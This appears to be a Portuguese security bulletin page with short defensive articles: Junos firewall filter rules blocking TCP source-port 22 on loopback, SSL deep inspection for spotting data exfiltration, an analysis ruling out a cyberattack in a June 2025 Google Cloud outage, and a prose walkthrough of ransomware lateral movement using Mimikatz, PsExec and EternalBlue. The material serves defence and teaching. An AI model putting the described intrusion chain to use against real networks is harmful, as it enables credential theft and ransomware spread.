Importante: esse termo deve ser posicionado antes de qualquer outro termo que aceite conexões SSH.

Exemplo de configuração estilo CLI (Junos OS):

# Novo termo — bloqueia pacotes com source-port 22
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 from protocol tcp
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 from source-port 22
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 then syslog
set firewall family inet filter PROTECT-RE term BLOQUEIA-SRC-22 then discard

# Termo já existente — acesso SSH permitido para IPs autorizados
set firewall family inet filter PROTECT-RE term ACEITA-SSH from source-address 198.51.100.0/24
# 198.51.100.0/24 : IP reservado para exemplo (RFC 5737)
set firewall family inet filter PROTECT-RE term ACEITA-SSH from protocol tcp
set firewall family inet filter PROTECT-RE term ACEITA-SSH from port ssh
set firewall family inet filter PROTECT-RE term ACEITA-SSH then count accept-ssh
set firewall family inet filter PROTECT-RE term ACEITA-SSH then accept

# Aplicação do filtro na interface de loopback
set interfaces lo0 unit 0 family inet filter input PROTECT-RE

Estrutura resultante (sintaxe hierárquica)

term BLOQUEIA-SRC-22 {
    from {
        protocol tcp;
        source-port 22;
    }
    then {
        syslog;
        discard;
    }
}

term ACEITA-SSH {
    from {
        source-address 198.51.100.0/24;  
# 198.51.100.0/24 : IP reservado para exemplo (RFC 5737)
        protocol tcp;
        port ssh;
    }
    then {
        count accept-ssh;
        accept;
    }
}

ATENÇÃO: A condição source-port só é válida quando utilizada juntamente com protocol tcp, conforme documentado oficialmente pela Juniper.

3.2. Mitigação alternativa para o serviço ssh

Alterar a porta padrão do serviço SSH para uma porta não convencional:

set system services ssh port 2222

3.3. Restrições adicionais

Restringir o acesso à interface de gerenciamento por meio de ACLs específicas, VPNs, ou túneis criptografados.

Monitorar logs de acesso SSH e realizar testes contínuos em laboratório para verificar se o comportamento persiste em versões atualizadas do Junos OS.

4. Verificação de informações

Com base nas informações disponíveis até 04 de julho de 2025, não há registros públicos de uma vulnerabilidade específica no Junos OS que permita o bypass de filtros de firewall na interface loopback para conexões SSH com porta de origem 22.

A vulnerabilidade mais próxima relatada é a CVE-2023-48795 (Terrapin SSH Attack), que afeta o protocolo SSH em geral e foi corrigida em versões recentes do Junos OS.

Recomendamos verificar o site de segurança da Juniper (www.juniper.net/security) ou contatar a Juniper SIRT (sirt@juniper.net) para confirmar se essa vulnerabilidade foi reportada e se há um CVE associado. Além disso, são recomendados mais testes em laboratório com as versões mais recentes do Junos (e.g., 24.4R1, lançada em abril de 2025) para confirmar se o problema persiste.

Considerações finais

A mitigação continua válida e reforçada com base na documentação oficial. A instrução está segura para uso em ambientes que implementam filtros Junos OS 23 ou 24. No entanto, é importante destacar que:

  • A configuração deve ser testada em diferentes plataformas (MX, EX, PTX etc.), pois algumas séries podem ter limitações específicas .
  • A Juniper costuma publicar suporte por família de plataformas. Certifique-se de validar se o equipamento em uso suporta source-port conforme documentado.
  • Em versões Evolved do Junos (ex. 24.x), deve haver suporte automático, mas a combinação com next-header tcp também é recomendada quando aplicável.

Última atualização: 25/6/2025 17:22 BRT

Vol. 1 No. 20250620-619 (2025)

O Poder do SSL Deep Inspection nas Investigações de exfiltração de Dados

Hector Carlos Frigo | hector@cylo.com.br | 20/06/2025

Nos últimos meses temos recebido inúmeros alertas relatando possíveis vazamentos de dados, por se tratar de um tópico extremamente sensível, podendo comprometer operações do cliente e com alto potencial de afetar diretamente sua propriedade intelectual, aos poucos começamos a desenvolver técnicas que otimizaram nosso tempo de resposta, nos ajudando a detectar, qual volume de dados foi exfiltrado do ambiente, e o que na minha opinião é o mais importante.. QUAIS dados foram exfiltrados. Desafio que tínhamos sempre ao lidar com esse tipo de incidente (identificar quais arquivos foram movimentados para fora da empresa, sempre foi uma grande dificuldade). Com essa evolução, foi possível realizar uma melhor distinção entre os casos de incidentes reais e casos falsos positivos.

Como ponto chave da melhora do nosso processo, identificamos que a adoção do uso de SSL Deep-Inspection para todo trafego de rede, possibilita uma visualização única e mais assertiva no trafego suspeito que será investigado por nós, Analistas de SOC, essa tecnologia viabiliza o monitoramento do trafego na camada de aplicação, tornando possível observar acesso a subdiretórios, e também identificar quais ARQUIVOS estão sendo movimentados para destinos fora do ambiente da empresa.

Para uma melhor visualização desta solução em funcionamento, realizei alguns testes com um firewall da Fortinet em um ambiente de teste, o qual será descrito abaixo (Lembrando que a aplicação do Deep-Inspection deve ser semelhante independente do serviço de Firewall adotado)

Primeiro criei alguns arquivos com nomes bem tendenciosos, para realizar o teste

Após isso, realizei a criação de uma regra no firewall batizando-a de “Teste Deep Inspection”, permitindo todo trafego LAN to WAN sem restrições e por fim habilitar a função de Deep-inspection na regra.

Após a criação da regra, devemos testá-la, para isso, basta entrar em um site que possua SSL ativo e observar seu certificado digital, acessei o Google.com, que originalmente possui o certificado atribuído pelo Google Trust Services.

Com a regra de SSL Deep Inspection funcionando, espera-se observar um certificado digital emitido por nosso serviço de Firewall, e não mais o certificado original criado pela provedora do site

Certificado do google.com SEM Deep-Inspection habilitado
Certificado do google.com COM Deep-Inspection habilitado

Com a regra funcionando, vamos dar inicio ao teste prático, onde realizei o UPLOAD dos 4 arquivos que criei em minha estação de teste, para o meu Google Drive PARTICULAR (Comportamento muito comum observado em diversos alertas de Exfiltração de dados)

Upload de arquivos realizados com sucesso! Vamos ver o que os logs do Firewall têm a nos dizer…

Realizei um filtro baseado no endereço MAC da minha estação de teste, para facilitar encontrar os logs do Upload, e depois de alguns segundos de espera, lá estava… Todos os arquivos que foram movimentados para o meu Google Drive particular por meio de conexões realizadas utilizando a rede da empresa, com a regra de Deep-Inspection ativa e operante, identificados por nome e extensão do arquivo (sendo possivel também adicionar o filtro do tamanho do arquivo) simplesmente com a aplicação de uma regra facilmente configurada em nosso Firewall.

Imaginando a aplicação deste exemplo em um ambiente real, onde é extremamente necessário monitorar as ações realizadas em todos os endpoints, justamente para prevenir vazamento de propriedade intelectual, e evitar perdas devastadoras para a empresa, empregar o SSL Deep Inspection como aliado nas investigações de alerta de exfiltração de dados é altamente recomendado

É importante ressaltar que, o emprego desta tecnologia deve somente ocorrer, após o consentimento dos usuários, ou seja, os colaboradores conectados a rede, devem saber que estão sendo monitorados por sua equipe de SOC, fato pode ser adicionado a uma cláusula do contrato de trabalho por exemplo, pois a ausência desse consentimento, pode implicar diretamente a quebra do direito a privacidade, garantida principalmente pela LGPD porem abordada também em diversos outros textos de lei.

Neste pequeno exemplo, foi possivel observar o quão importante o SSL Deep-Inspection pode ser para detecção de exfiltração de dados, Ouso dizer que é uma técnologia essencial contra vazamento de informações, em um mundo onde a propriedade intelectual com certeza é um dos ativos mais valiosos da sua empresa.

Vol. 1 No. 20250619-581 (2025)

Falha Técnica, Não Ciberataque: Análise do Evento Global de 12 de Junho

Adriano Cansian | adriano.cansian@unesp.br | 19/06/2025

Resumo

Em 12 de junho de 2025, por volta das 14h51 (UTC-3), uma falha significativa em serviços baseados no Google Cloud causou indisponibilidade generalizada de plataformas como Spotify, Discord, Snap, Character.ai e até partes da infraestrutura da Cloudflare. A suspeita inicial de que se tratava de um ataque cibernético coordenado está descartada com base em dados técnicos e fontes confiáveis. O incidente, embora com impacto global, não teve relação com atividade maliciosa.

Linha do Tempo do Incidente

  • Início do problema: 12 Jun 2025, 17:51 UTC (14:51 GMT-03 BRT).
  • Atualização final do status: 12 Jun 2025, 22:46 UTC (19:46 GMT-03 BRT).
  • Locais afetados: Regiões Google asia-east1, europe-west4, africa-south1 e dezenas de outras.
  • Serviços impactados: APIs, autenticação, conectividade com backend, serviços de hospedagem.
  • Volume de impacto – relatos simultâneos de inacessibilidade: Spotify 46.000, Google 14.000 e Discord 11.000 (segundo Downdetector).
Fonte: ThousandEyes

Nossa análise

Com base nas evidências disponíveis até o momento, é altamente improvável que tenha ocorrido qualquer incidente relevante de segurança cibernética com impacto global em 12 de junho de 2025.

As interrupções observadas em diversos serviços online parecem ter sido causadas por uma falha técnica na infraestrutura do Google Cloud, e não por ações maliciosas ou por um ataque cibernético.

Não há registros oficiais nem indicadores técnicos que sustentem a hipótese de um ataque cibernético coordenado, apesar da circulação de algumas especulações e teorias da conspiração em redes sociais.

Diagnóstico Técnico

De acordo com Google Cloud Status Dashboard, o incidente envolveu instabilidades de rede e falhas no fornecimento de recursos críticos para workloads, com degradação em múltiplas zonas de disponibilidade. Apesar do escopo, não houve indícios de exploração de vulnerabilidades, DDoS, sequestro de rota BGP ou comportamento anômalo em logs de tráfego. O relatório completo de status do Google Cloud para o evento de 12/6/2025 pode ser visto nesse link confiável: https://status.cloud.google.com/incidents/ow5i3PPK96RduMcb1SsW

A Cloudflare, por sua vez, relatou impactos secundários limitados a serviços que utilizam o Google Cloud como backend. Segundo relatos de engenheiros da comunidade e usuários técnicos no Downdetector, houve menção a “erro de configuração de rede” e dependências indiretas afetando ao menos 19 data centers da Cloudflare.

Avaliação Cibernética

Do ponto de vista de threat intelligence e resposta a incidentes, nenhuma IOC (indicador de comprometimento) conhecida foi associada ao evento. Nenhum CSIRT internacional (como o US-CERT ou o JPCERT/CC) emitiu alertas relacionados, tampouco houve correlação com campanhas ativas de ameaça.

Buscas por “cyber attack”, “internet outage”, “DDoS” ou “APT activity” relacionadas a 12/06/2025 nas redes sociais e em feeds técnicos (como OTX AlienVault e MISP) não retornaram nenhuma correlação válida. Portanto, a hipótese de ataque coordenado por ator estatal ou hacktivismo pode ser tecnicamente descartada neste caso.

Implicações para Resiliência

Embora não tenha envolvido comprometimento, o incidente reforça o risco de falhas sistêmicas em infraestruturas centralizadas. A dependência excessiva de provedores de nuvem (monoculturas tecnológicas) pode gerar efeitos em cascata mesmo sem ações maliciosas.

É recomendável que analistas e arquitetos de segurança revisem:

  • Estratégias de redundância multi-cloud.
  • Monitoramento contínuo de integridade de serviços externos (SLAs e upstreams).
  • Planos de contingência para falhas de serviços de terceiros.

Conclusão

Apesar das suspeitas iniciais, o incidente de 12/06/2025 foi causado por uma falha técnica no Google Cloud e não representa um evento de segurança cibernética. Para times de resposta a incidentes, é mais um lembrete de que a visibilidade sobre a cadeia de dependências tecnológicas é tão crítica quanto a detecção de ataques.

Última atualização: 19/06/2025 às 20:29 GMT-03.

Vol. 1 No. 20250612-636 (2025)

Como o Ransomware se Espalha Dentro da Sua Rede

Pedro Brandt Zanqueta | pedro@cylo.com.br | 12/06/2025

Ajudando em uma resposta a incidente, recentemente tivemos que lidar com um determinado grupo de ransomware que atrapalhou uma empresa por um período. Com isso decidi detalhar como geralmente um ataque ocorre.

Ponto de partida

Imagine uma manhã comum na sua empresa. Os colaboradores chegam e iniciam suas atividades. Tudo parece normal até que, um e-mail aparentemente inofensivo chega à caixa de entrada de um colaborador do setor financeiro. O assunto é: “Nota Fiscal em Atraso – URGENTE”. Sem nem desconfiar, o funcionário clica no anexo.

O anexo executa um script em PowerShell, que baixa e executa um payload malicioso. Em segundos, o atacante já acesso à rede. Mas o objetivo não é apenas comprometer uma máquina é paralisar a empresa inteira. E para isso, o ransomware precisa se espalhar.

Descoberta do ambiente

Antes de se mover, o atacante precisa entender o ambiente. Ele começa com técnicas de reconhecimento interno. Utiliza comandos para descobrir sistemas remotos, identificar conexões de rede, e localizar compartilhamentos acessíveis.

Com essas informações em mãos, o atacante sabe exatamente onde estão os servidores de arquivos, os controladores de domínio e as estações mais críticas.

Movimentação lateral

Para se mover lateralmente, o atacante precisa de credenciais. Com Mimikatz usa para extrair senhas da memória do processo LSASS. Se tiver sorte, encontra credenciais de administradores de domínio. Caso contrário, ele pode recorrer a ataques de força bruta ou password spray para comprometer outras contas.

Usando ferramentas como PsExec ou WMI, o ransomware começa a se espalhar. Ele cópia seus arquivos para máquinas remotas usando compartilhamentos administrativos e executa o payload silenciosamente.

Se encontrar vulnerabilidades conhecidas, como EternalBlue, ele pode explorá-las diretamente, sem depender de credenciais.

Garantindo a Persistência

Para garantir que o ransomware continue ativo mesmo após reinicializações, o atacante cria tarefas agendadas ou serviços maliciosos.

Processo Final

Quando o atacante sente que já comprometeu o suficiente, ele inicia a fase final: a criptografia. Utilizando algoritmos robustos, o ransomware bloqueia arquivos em servidores, estações de trabalho e até backups conectados.

Em minutos, a empresa inteira está paralisada. Um aviso aparece nas telas: “Seus arquivos foram criptografados. Pague em Bitcoin para recuperá-los.”

Melhorias no ambiente

  • Segmentação de rede: impede que o atacante se mova livremente.
  • Monitoramento de credenciais: detecta uso anômalo de contas.
  • Atualizações regulares: fecham portas exploradas por vulnerabilidades.
  • Treinamento de usuários: reduz o risco de phishing.
  • Soluções de segurança avançadas: como EDRs e SIEMs, ajudam a detectar e responder rapidamente.

Conclusão

O ransomware não é apenas um vírus que aparece do nada. Ele é o resultado de uma cadeia de ações cuidadosamente planejadas.

A pergunta não é se sua empresa será alvo, mas quando. E quando isso acontecer, o quão preparado você estará?